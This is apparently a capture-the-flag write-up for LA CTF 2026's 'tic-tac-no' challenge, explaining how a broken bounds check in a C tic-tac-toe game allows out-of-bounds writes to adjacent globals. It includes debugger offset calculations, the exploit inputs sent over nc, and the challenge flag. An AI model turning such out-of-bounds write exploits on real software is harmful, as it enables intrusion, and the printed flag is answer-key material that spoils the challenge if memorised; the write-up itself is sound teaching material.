LA CTF 2026: tic-tac-no
TL;DR
- The bot uses minimax and is not beatable through normal play.
- Player input validation is logically incorrect.
- Out-of-bounds writes on the global board are possible.
- Adjacent game state can be corrupted to trigger the win condition.
Description
Tic-tac-toe is a draw when played perfectly. Can you be more perfect than my perfect bot?
The minimax implementation is correct and will always force a draw or win. The solution is not related to game strategy.
Solution
Running the game, we'll see a traditional tic-tac-toe board. Apparently the computer player is unbeatable (I didn't waste much time trying to confirm).

Source Code Review
The game state is stored in globals:
char board[9];
char player = 'X';
char computer = 'O';
Player input is processed in playerMove():
int index = (x-1)*3+(y-1);
if(index >= 0 && index < 9 && board[index] != ' '){
printf("Invalid move.\n");
}else{
board[index] = player; // Should be safe, given that the user cannot overwrite tiles on the board
break;
}
The bounds check is incorrect. The write happens whenever the condition is false, including when index is outside the valid range. This allows arbitrary out-of-bounds writes relative to board.
Debugging
Since the variables are global, this allows overwriting adjacent globals. Inspecting memory layout:
pwndbg> p &board
$1 = (<data variable, no debug info> *) 0x555555558068 <board>
pwndbg> p &player
$2 = (<data variable, no debug info> *) 0x555555558050 <player>
pwndbg> p &computer
$3 = (<data variable, no debug info> *) 0x555555558051 <computer>
Calculating offsets from board:
pwndbg> p/d (char*)&player - (char*)&board
$4 = -24
pwndbg> p/d (char*)&computer - (char*)&board
$5 = -23
This means board[-24] and board[-23] overwrite player and computer respectively.
The index calculation is fully user-controlled, e.g.
x = -7
y = 2
(-7 - 1) * 3 + (2 - 1) = -23
By choosing appropriate coordinates, the game state can be corrupted so that checkWin() returns the player as the winner. Execution then reaches the flag printing branch in main().
Exploit
nc chall.lac.tf 30001
You want the flag? You'll have to beat me first!
| |
---|---|---
| |
---|---|---
| |
Enter row #(1-3): -7
Enter column #(1-3): 2
| |
---|---|---
| X |
---|---|---
| |
Enter row #(1-3): 3
Enter column #(1-3): 3
X | |
---|---|---
| X |
---|---|---
| | X
How's this possible? Well, I guess I'll have to give you the flag now.
lactf{th3_0nly_w1nn1ng_m0ve_1s_t0_p1ay}
The minimax logic itself is correct. The win is achieved entirely through the invalid input check allowing memory corruption.
Flag: lactf{th3_0nly_w1nn1ng_m0ve_1s_t0_p1ay}